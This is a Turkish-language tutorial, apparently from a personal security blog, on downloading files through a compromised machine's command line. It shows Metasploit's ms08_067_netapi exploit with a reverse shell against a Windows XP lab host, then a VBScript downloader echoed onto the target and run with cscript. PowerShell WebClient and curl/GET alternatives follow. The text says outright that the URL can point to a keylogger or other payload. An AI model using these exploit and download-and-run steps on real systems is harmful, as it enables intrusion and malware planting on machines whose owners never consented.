Wget ve Alternatifleri

(+) *Bu yazı birebir denenmiştir ve başarıyla uygulanmıştır.*

wget tool'u bilindiği üzere dosya indirmeye yarayan bir araçtır. Örneğin aşağıdaki kod ile winrar340.exe dosyası sistemimize iner.

```
$ wget http://www.includekarabuk.com/winrar340.exe
```

Bu yazıda wget'in yaptığı indirme işini CMD'de nasıl yapabileceğimizden ve linux'ta ise wget'in alternatiflerinin ne olduğundan bahsedilecektir.

a. Windows'ta Komut Satırından Dosya İndirme

Gereksinimler

Eski Kali (kali-linux-1.0.4-amd64.iso)
Windows XP

Diyelim ki Windows XP (Dandik) sistemine netapi zafiyeti ile sızdık.

```
msf > use exploit/windows/smb/ms08_067_netapi
msf (ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
msf (ms08_067_netapi) > set LHOST 192.168.0.19                  // Kali IP
msf (ms08_067_netapi) > set RHOST 192.168.0.12                  // WinXP IP
msf (ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.0.19:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:Turkish
[*] Selected Target: Windows XP SP2 Turkish (NX)
[*] Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending stage (267 bytes) to 192.168.0.12

Microsoft Windows XP [Sürüm 5.1.2600]
© Telif Hakkı 1986-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

Hedef işletim sisteminin komut satırı komut satırımıza geldiğinde şayet linux bir sisteme sızmış olsaydık wget kullanarak hedef sistemde kolayca dosya indirebilecektik. Fakat Windows bir sistemde wget aracı varsayılan olarak yer almadığı için Windows'un yerel script dili olan Visual Basic'ten faydalanacağız. Aşağıda dosya indirme işlemi yapan bir visual basic programı görmektesin:

downloader.vbs

```
' Set your settings
   strFileURL = "http://www.includekarabuk.com/winrar340.exe"
   strHDLocation = "c:\winrar340.exe"

' Fetch the file
   Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

   objXMLHTTP.open "GET", strFileURL, false
   objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0    'Set the stream position to the start

Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if

Set objXMLHTTP = Nothing
```

Bu program URL'de belirtilen dosyayı indirme görevini yerine getirmektedir. Şimdi bu programı komut satırı üzerinden hedef sistemde oluşturacağımız dosyaya satır satır yazalım:

```
C:\WINDOWS\system32> (
Daha çok?  echo  ' Set your settings
Daha çok?  echo  strFileURL = "http://www.includekarabuk.com/winrar340.exe"
Daha çok?  echo  strHDLocation = "c:\winrar340.exe"
Daha çok?  echo  ' Fetch the file
Daha çok?  echo  Set objXMLHTTP = CreateObject^("MSXML2.XMLHTTP"^)
Daha çok?  echo  objXMLHTTP.open "GET", strFileURL, false
Daha çok?  echo  objXMLHTTP.send^(^)
Daha çok?  echo  If objXMLHTTP.Status = 200 Then
Daha çok?  echo  Set objADOStream = CreateObject^("ADODB.Stream"^)
Daha çok?  echo  objADOStream.Open
Daha çok?  echo  objADOStream.Type = 1 'adTypeBinary
Daha çok?  echo  objADOStream.Write objXMLHTTP.ResponseBody
Daha çok?  echo   objADOStream.Position = 0    'Set the stream position to the start
Daha çok?  echo  Set objFSO = Createobject^("Scripting.FileSystemObject"^)
Daha çok?  echo  If objFSO.Fileexists^(strHDLocation^) Then objFSO.DeleteFile strHDLocation
Daha çok?  echo  Set objFSO = Nothing
Daha çok?  echo  objADOStream.SaveToFile strHDLocation
```

```
Daha çok?  echo  Set objADOStream = Nothing
Daha çok?  echo  End if
Daha çok?  echo  Set objXMLHTTP = Nothing
Daha çok?  )  >  c:\downloader.vbs
```

Not: Kırmızı ile vurgulanan ^ karakterleri escape karakteridir. En dıştaki parantez kapanmasın diye kullanılmıştır.

Satır satır yazdığımız kodları en sonunda downloader.vbs adlı dosyaya yazmış bulunmaktayız. Şimdi oluşturduğumuz dosya indirme programını windows sistemlerde varsayılan olarak yer alan cscript.exe ile çalıştıralım ve URL'de yer alan dosyayı böylece indirebilelim:

```
C:\WINDOWS\system32> cd ..
C:\WINDOWS> cd ..
C:\> cscript.exe downloader.vbs

cscript.exe downloafile.vbs
Microsoft ® Windows Kod Merkezi Sürüm 5.6
Telif Hakkı © Microsoft Corporation 1996-2001. Tüm hakları saklıdır.

C:\>
```

Böylece script'te belirtiğimiz url'deki dosya hedef sisteme inmiş olacaktır.

```
C:\> dir

13.02.2016   17:02                AUTOEXEC.BAT
23.01.2016   18:23                CONFIG.SYS
23.01.2016   18:27    <DIR>       Documents and Settings
22.11.2016   21:41                downloader.vbs
24.01.2016   18:42    <DIR>       inetpub
22.11.2016   21:42    <DIR>       Program Files
22.11.2016   21:47                winrar340.exe

               4 Dosya          1.163.607 bayt
               3 Dizin          3.913.744.384 bayt
```

Script'te belirttiğimiz URL winrar340.exe'yi gösteriyordu. Dolayısıyla URL'deki winrar340.exe yerine keylogger gibi dilenilen payload'un linki konarak hedef sisteme hükmedebiliriz.

Buraya kadar yaptıklarımızı özetleyecek olursak öncelikle hedef işletim sistemine (Windows XP Dandik'e) netapi zafiyeti ile sızdık. Böylece Windows XP Dandik'in komut satırı komut satırımıza gelmiş oldu. Bunun üzerine komut satırımıza gelen CMD ekranından satır satır bir visual basic programı yazdık ve tüm satırları C dizininde downloader.vbs adlı bir dosyada topladık. Daha sonra oluşturduğumuz downloader.vbs programını cscript.exe ile çalıştırdık.

```
C:\> cscript.exe downloader.vbs
```

Böylece visual basic programımızda belirttiğimiz URL'den ilgili dosya hedef işletim sistemine inmiş oldu. Dolayısıyla diyebiliriz ki Visual basic programımızdaki URL kısmına gireceğimiz linkler ile hedef işletim sistemine dilediğimiz zararlı programı indirebiliriz. Kısaca Visual Basic programımız bir nevi wget olmuş oldu.

Benim Not: cscript.exe programının Windows XP'de olduğu gibi Windows 10 CMD'sinde de ve Powershell'inde de olduğu görülmüştür. Çünkü Windows 10 komut satırlarına cscript.exe yazıldığında ekrana cscript.exe'nin help menüsü gelmiştir.

Ekstra

PowerShell komut satırı uygulaması cmd.exe'ye alternatif olarak geliştirilmiştir ve Windows 7'den itibaren varsayılan olarak Windows işletim sistemleriyle beraber gelmeye başlamıştır. Dolayısıyla powershell üzerinden dosya indirmeyi de not etmekte fayda var. Powershell'de dosya indirme işlemi hazır komutlarla şu şekilde gerçekleştirilebilmektedir:

File Download Syntax in Powershell:

```
$client = new-object System.Net.WebClient
$client.DownloadFile("http://www.xyz.net/file.txt","C:\tmp\file.txt")
```

Yukarıdaki kodları annemin Laptop'ındaki powershell üzerinde deneyelim:

```
C:\Users\yusuf\Desktop> $client = new-object System.Net.WebClient
C:\Users\yusuf\Desktop> $client.DownloadFile("http://www.includekarabuk.com/winrar340.exe",
                                             "C:\Users\yusuf\Desktop\winrar340.exe")
```

Yukarıdaki kodları girdiğimde masaüstüne winrar340.exe dosyası inmiştir:

```
C:\Users\yusuf\Desktop> ls

Mode        LastWriteTime         Length  Name
d-------    16.09.2016 23:17              Yeni Klasör
-a------    22.11.2016 22:46      1162846 winrar340.exe
-a------    19.11.2016 19:55      56      Yeni Metin Belgesi (2).txt
-a------    8.11.2016   02:31     978     Yeni Metin Belgesi.txt
```

Böylece sızdığımız sistemin şayet Powershell komut satırını elde edebilirsek yukarıdaki dosya indirme komutları ile hedef sisteme zararlı dosyalar indirebiliriz.

b. Linux'ta Komut Satırından Dosya İndirme

Linux'ta wget ile dosya indirme işlemini yapabilmekteyiz. Ancak wget'in yaptığı işi yapabilen başka araçlar da mevcuttur. Bunlara curl ve GET tool'larını örnek olarak verebiliriz.

```
$ curl http://www.includekarabuk.com/winrar340.exe > deneme1.exe
$ GET http://www.includekarabuk.com/winrar340.exe > deneme2.exe
```

- curl uzak sunucudan exe dosyasındaki ham veriyi çekecektir ve o veriyi deneme1.exe dosyasına yazacaktır.
- GET uzak sunucudan exe dosyasındaki ham veriyi çekecektir ve o veriyi deneme2.exe dosyasına yazacaktır.

Curl ve GET ile inen exe dosyalarını (kardeşimin) Windows işletim sisteminde çalıştırdığımda winrar yükleme ekranının her iki exe'de de ekrana geldiği görülmüştür. Dolayısıyla Curl ve GET ile inen exe'lerin sorunsuz bir şekilde indiği anlaşılmıştır. Şayet sızdığımız linux sisteminde wget aracı mevcut olmazsa curl'ü ya da GET'i kullanabiliriz.

Dipnot: wget ile indirilen winrar340.exe'nin boyutuyla curl ve GET tarafından oluşturulan dosyaların boyutlarının aynı olduğu ve wget ile inen dosyanın (winrar) simgesi ile curl ve GET ile oluşturulan dosyaların simgelerinin aynı olduğu gözlemlenmiştir. Ayrıca wget ile inen dosyanın içeriğine bakıldığında curl ve GET ile inen dosyaların içeriğiyle aynı kargaşık burgaşık karakterleri içerdiği görülmüştür. Dolayısıyla curl ve GET'in wget'e göre indirme tarzı farklı da olsa wget ile aynı dosyayı indirdiği anlaşılmıştır.

Kaynaklar

http://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows-command-line

http://stackoverflow.com/questions/5181212/windows-in-batch-file-write-multiple-lines-to-text-file/5181213

http://ss64.com/nt/syntax-esc.html

http://superuser.com/questions/25538/how-to-download-files-from-command-line-in-windows-like-wget-is-doing

http://stackoverflow.com/questions/13712462/error-using-client-downloadfile-in-powershell-script

https://tr.wikipedia.org/wiki/Windows_PowerShell

Tez Raporu/İnternetten Edinilmiş Kıymetli Bilgiler/Elden Geçirdiğim Notlar/Sisteme Shell Atmanın Yolları.docx